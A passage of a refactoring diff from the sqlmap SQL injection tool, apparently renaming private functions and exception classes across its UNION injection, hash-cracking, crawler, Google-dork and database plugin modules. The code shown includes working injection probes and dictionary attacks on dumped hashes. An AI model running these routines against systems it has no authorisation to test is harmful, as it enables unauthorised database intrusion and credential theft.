a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -41,21 +41,21 @@ from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request -def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): +def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None - def __orderByTechnique(): - def __orderByTest(cols): + def _orderByTechnique(): + def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I) - if __orderByTest(1) and not __orderByTest(randomInt()): + if _orderByTest(1) and not _orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " @@ -66,13 +66,13 @@ def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: - if __orderByTest(highCols): + if _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 - if __orderByTest(mid): + if _orderByTest(mid): lowCols = mid else: highCols = mid @@ -87,7 +87,7 @@ def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: - found = kb.orderByColumns or __orderByTechnique() + found = kb.orderByColumns or _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target url appears to have %d column%s in query" % (found, 's' if found > 1 else "") @@ -155,7 +155,7 @@ def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where return retVal -def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): +def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None @@ -235,22 +235,22 @@ def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYL return validPayload, vector -def __unionConfirm(comment, place, parameter, prefix, suffix, count): +def _unionConfirm(comment, place, parameter, prefix, suffix, count): validPayload = None vector = None # Confirm the union SQL injection and get the exact column # position which can be used to extract data - validPayload, vector = __unionPosition(comment, place, parameter, prefix, suffix, count) + validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) # Assure that the above function found the exploitable full union # SQL injection position if not validPayload: - validPayload, vector = __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) + validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) return validPayload, vector -def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): +def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target url is affected by an union SQL injection vulnerability. The test is done up to 50 columns @@ -264,10 +264,10 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: - count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) + count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) if count: - validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count) + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): warnMsg = "if UNION based SQL injection is not detected, " @@ -281,7 +281,7 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix warnMsg += "(e.g. --union-char=1) " else: conf.uChar = kb.uChar = str(randomInt(2)) - validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count) + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: @@ -305,7 +305,7 @@ def unionTest(comment, place, parameter, value, prefix, suffix): return kb.technique = PAYLOAD.TECHNIQUE.UNION - validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 6d85decec..4726a87d1 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -39,7 +39,7 @@ from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData @@ -47,7 +47,7 @@ from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request -def __oneShotUnionUse(expression, unpack=True, limited=False): +def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted threadData = getCurrentThreadData() @@ -106,7 +106,7 @@ def __oneShotUnionUse(expression, unpack=True, limited=False): return retVal def configUnion(char=None, columns=None): - def __configUnionChar(char): + def _configUnionChar(char): if not isinstance(char, basestring): return @@ -115,7 +115,7 @@ def configUnion(char=None, columns=None): if conf.uChar is not None: kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) - def __configUnionCols(columns): + def _configUnionCols(columns): if not isinstance(columns, basestring): return @@ -126,17 +126,17 @@ def configUnion(char=None, columns=None): colsStart, colsStop = columns, columns if not colsStart.isdigit() or not colsStop.isdigit(): - raise sqlmapSyntaxException, "--union-cols must be a range of integers" + raise SqlmapSyntaxException, "--union-cols must be a range of integers" conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: errMsg = "--union-cols range has to be from lower to " errMsg += "higher number of columns" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg - __configUnionChar(char) - __configUnionCols(conf.uCols or columns) + _configUnionChar(char) + _configUnionCols(conf.uCols or columns) def unionUse(expression, unpack=True, dump=False): """ @@ -239,7 +239,7 @@ def unionUse(expression, unpack=True, dump=False): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] - output = __oneShotUnionUse(countedExpression, unpack) + output = _oneShotUnionUse(countedExpression, unpack) count = parseUnionPage(output) if isNumPosStrValue(count): @@ -300,7 +300,7 @@ def unionUse(expression, unpack=True, dump=False): field = None limitedExpr = agent.limitQuery(num, expression, field) - output = __oneShotUnionUse(limitedExpr, unpack, True) + output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break @@ -342,7 +342,7 @@ def unionUse(expression, unpack=True, dump=False): if not value and not abortedFlag: expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full union doesn't play well with ORDER BY - value = __oneShotUnionUse(expression, unpack) + value = _oneShotUnionUse(expression, unpack) duration = calculateDeltaSeconds(start) diff --git a/lib/utils/checkpayload.py b/lib/utils/checkpayload.py index f685c2d91..5dcf834f3 100644 --- a/lib/utils/checkpayload.py +++ b/lib/utils/checkpayload.py @@ -14,7 +14,7 @@ from lib.core.data import logger rules = None -def __adjustGrammar(string): +def _adjustGrammar(string): string = re.sub('\ADetects', 'Detected', string) string = re.sub('\Afinds', 'Found', string) string = re.sub('attempts\Z', 'attempt', string) @@ -43,7 +43,7 @@ def checkPayload(payload): for xmlrule in xmlrules.getElementsByTagName("filter"): rule = "(?i)%s" % xmlrule.getElementsByTagName('rule')[0].childNodes[0].nodeValue - desc = __adjustGrammar(xmlrule.getElementsByTagName('description')[0].childNodes[0].nodeValue) + desc = _adjustGrammar(xmlrule.getElementsByTagName('description')[0].childNodes[0].nodeValue) rules.append((rule, desc)) if payload: diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index fad86d007..a31fdaf3c 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -17,7 +17,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads @@ -50,7 +50,7 @@ class Crawler(object): try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] - except sqlmapConnectionException, e: + except SqlmapConnectionException, e: errMsg = "connection exception detected (%s). skipping " % e errMsg += "url '%s'" % current logger.critical(errMsg) diff --git a/lib/utils/google.py b/lib/utils/google.py index 3db9c62a8..4173bddb5 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -16,8 +16,8 @@ from lib.core.common import getUnicode from lib.core.common import urlencode from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapGenericException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapGenericException from lib.core.settings import GOOGLE_REGEX from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage @@ -43,7 +43,7 @@ class Google(object): e.info() except urllib2.URLError: errMsg = "unable to connect to Google" - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg def search(self, dork): """ @@ -93,13 +93,13 @@ class Google(object): return None except (urllib2.URLError, socket.error, socket.timeout): errMsg = "unable to connect to Google" - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg retVal = [urllib.unquote(match.group(1)) for match in re.finditer(GOOGLE_REGEX, page, re.I | re.S)] if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " warnMsg += "this computer disabling further searches" - raise sqlmapGenericException, warnMsg + raise SqlmapGenericException, warnMsg return retVal diff --git a/lib/utils/hash.py b/lib/utils/hash.py index b1feed7d9..0815d19e0 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -51,8 +51,8 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASH -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DUMMY_USER_PREFIX @@ -394,7 +394,7 @@ def attackDumpedTable(): if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() @@ -436,7 +436,7 @@ def hashRecognition(value): return retVal -def __bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist): +def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist): count = 0 rotator = 0 hashes = set([item[0][1] for item in attack_info]) @@ -505,7 +505,7 @@ def __bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, pro if hasattr(proc_count, 'value'): proc_count.value -= 1 -def __bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist): +def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist): count = 0 rotator = 0 @@ -677,7 +677,7 @@ def dictionaryAttack(attack_dict): kb.wordlists = dictPaths - except sqlmapFilePathException, msg: + except SqlmapFilePathException, msg: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % msg logger.critical(warnMsg) @@ -719,7 +719,7 @@ def dictionaryAttack(attack_dict): count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=__bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist)) + p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: @@ -734,7 +734,7 @@ def dictionaryAttack(attack_dict): singleTimeWarnMessage(warnMsg) retVal = Queue() - __bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist) + _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist) except KeyboardInterrupt: print @@ -797,7 +797,7 @@ def dictionaryAttack(attack_dict): count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=__bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist)) + p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: @@ -820,7 +820,7 @@ def dictionaryAttack(attack_dict): found_ = Value() found_.value = False - __bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist) + _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist) found = found_.value diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 544eefe2a..8a4ca4ecc 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -15,7 +15,7 @@ from lib.core.common import getUnicode from lib.core.common import serializeObject from lib.core.common import unserializeObject from lib.core.data import logger -from lib.core.exception import sqlmapDataException +from lib.core.exception import SqlmapDataException from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD from lib.core.settings import UNICODE_ENCODING @@ -39,7 +39,7 @@ class HashDB(object): except Exception, ex: errMsg = "error occurred while opening a session " errMsg += "file '%s' ('%s')" % (self.filepath, ex) - raise sqlmapDataException, errMsg + raise SqlmapDataException, errMsg return threadData.hashDBCursor diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index a07e5bb8c..694f38008 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -18,8 +18,8 @@ from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import MAX_INT from lib.core.unescaper import unescaper from lib.request import inject @@ -83,7 +83,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): if not validColumnList: errMsg = "all column name(s) provided are non-existent" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." @@ -139,7 +139,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): warnMsg += "will display partial output" logger.warn(warnMsg) - except sqlmapConnectionException, e: + except SqlmapConnectionException, e: errMsg = "connection exception detected. sqlmap " errMsg += "will display partial output" errMsg += "'%s'" % e diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 8fd84f780..673732d83 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -14,8 +14,8 @@ import logging from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import IS_WIN from plugins.generic.connector import Connector as GenericConnector @@ -35,7 +35,7 @@ class Connector(GenericConnector): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " errMsg += "is restricted to Windows platforms" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg self.initConnection() self.checkFileDb() @@ -43,7 +43,7 @@ class Connector(GenericConnector): try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) except (pyodbc.Error, pyodbc.OperationalError), msg: - raise sqlmapConnectionException, msg[1] + raise SqlmapConnectionException, msg[1] self.setCursor() self.connected() @@ -61,7 +61,7 @@ class Connector(GenericConnector): except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pyodbc.Error, msg: - raise sqlmapConnectionException, msg[1] + raise SqlmapConnectionException, msg[1] self.connector.commit() diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 336310bf7..16797211f 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): @@ -14,8 +14,8 @@ class Filesystem(GenericFilesystem): def readFile(self, rFile): errMsg = "on Microsoft Access it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None): errMsg = "on Microsoft Access it is not possible to write files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 384c792c9..20e8a9f12 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -27,7 +27,7 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ACCESS) - def __sandBoxCheck(self): + def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None @@ -43,7 +43,7 @@ class Fingerprint(GenericFingerprint): return retVal - def __sysTablesCheck(self): + def _sysTablesCheck(self): infoMsg = "executing system table(s) existence fingerprint" logger.info(infoMsg) @@ -85,7 +85,7 @@ class Fingerprint(GenericFingerprint): return None - def __getDatabaseDir(self): + def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" @@ -126,7 +126,7 @@ class Fingerprint(GenericFingerprint): value += DBMS.ACCESS return value - actVer = Format.getDbms() + " (%s)" % (self.__sandBoxCheck()) + actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer @@ -144,7 +144,7 @@ class Fingerprint(GenericFingerprint): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) - value += "\ndatabase directory: '%s'" % self.__getDatabaseDir() + value += "\ndatabase directory: '%s'" % self._getDatabaseDir() return value @@ -178,7 +178,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) - version = self.__sysTablesCheck() + version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 70ad1ba19..627673b51 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -24,7 +24,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -56,7 +56,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find(")") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index 0f256a8d1..41be6551a 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): @@ -14,18 +14,18 @@ class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "on Microsoft Access it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 66869c738..0af5f72aa 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -14,7 +14,7 @@ import logging from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -35,7 +35,7 @@ class Connector(GenericConnector): database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg self.setCursor() @@ -54,7 +54,7 @@ class Connector(GenericConnector): except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except ibm_db_dbi.InternalError, msg: - raise sqlmapConnectionException, msg[1] + raise SqlmapConnectionException, msg[1] self.connector.commit() diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 63a2f8683..0c996a8dd 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -23,7 +23,7 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.DB2) - def __versionCheck(self): + def _versionCheck(self): minor, major = None, None for version in reversed(xrange(5, 15)): @@ -97,7 +97,7 @@ class Fingerprint(GenericFingerprint): logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) - version = self.__versionCheck() + version = self._versionCheck() if version: Backend.setVersion(version) diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index a3778c6b4..d03ffa69c 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -6,7 +6,7 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -25,7 +25,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -55,7 +55,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find(")") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index c8c9cf936..00e0419c5 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -14,7 +14,7 @@ import logging from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector @@ -42,7 +42,7 @@ class Connector(GenericConnector): self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \ user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") #http://www.daniweb.com/forums/thread248499.html except kinterbasdb.OperationalError, msg: - raise sqlmapConnectionException, msg[1] + raise SqlmapConnectionException, msg[1] self.setCursor() self.connected() @@ -59,7 +59,7 @@ class Connector(GenericConnector): except kinterbasdb.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except kinterbasdb.Error, msg: - raise sqlmapConnectionException, msg[1] + raise SqlmapConnectionException, msg[1] self.connector.commit() diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 2bfa58b2a..732a1f89a 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): @@ -14,8 +14,8 @@ class Filesystem(GenericFilesystem): def readFile(self, rFile): errMsg = "on Firebird it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None): errMsg = "on Firebird it is not possible to write files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 903b2e866..02a84e28d 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint): value += actVer return value - actVer = Format.getDbms() + " (%s)" % (self.__dialectCheck()) + actVer = Format.getDbms() + " (%s)" % (self._dialectCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer @@ -67,7 +67,7 @@ class Fingerprint(GenericFingerprint): return value - def __sysTablesCheck(self): + def _sysTablesCheck(self): retVal = None table = ( ("1.0", ["EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]), @@ -93,7 +93,7 @@ class Fingerprint(GenericFingerprint): return retVal - def __dialectCheck(self): + def _dialectCheck(self): retVal = None if Backend.getIdentifiedDbms(): @@ -141,7 +141,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) - version = self.__sysTablesCheck() + version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index cdb065f9e..a8e66242b 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -6,7 +6,7 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.common import isDBMSVersionAtLeast -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -26,7 +26,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -58,7 +58,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find(")") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 8c8245491..b41d27770 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as 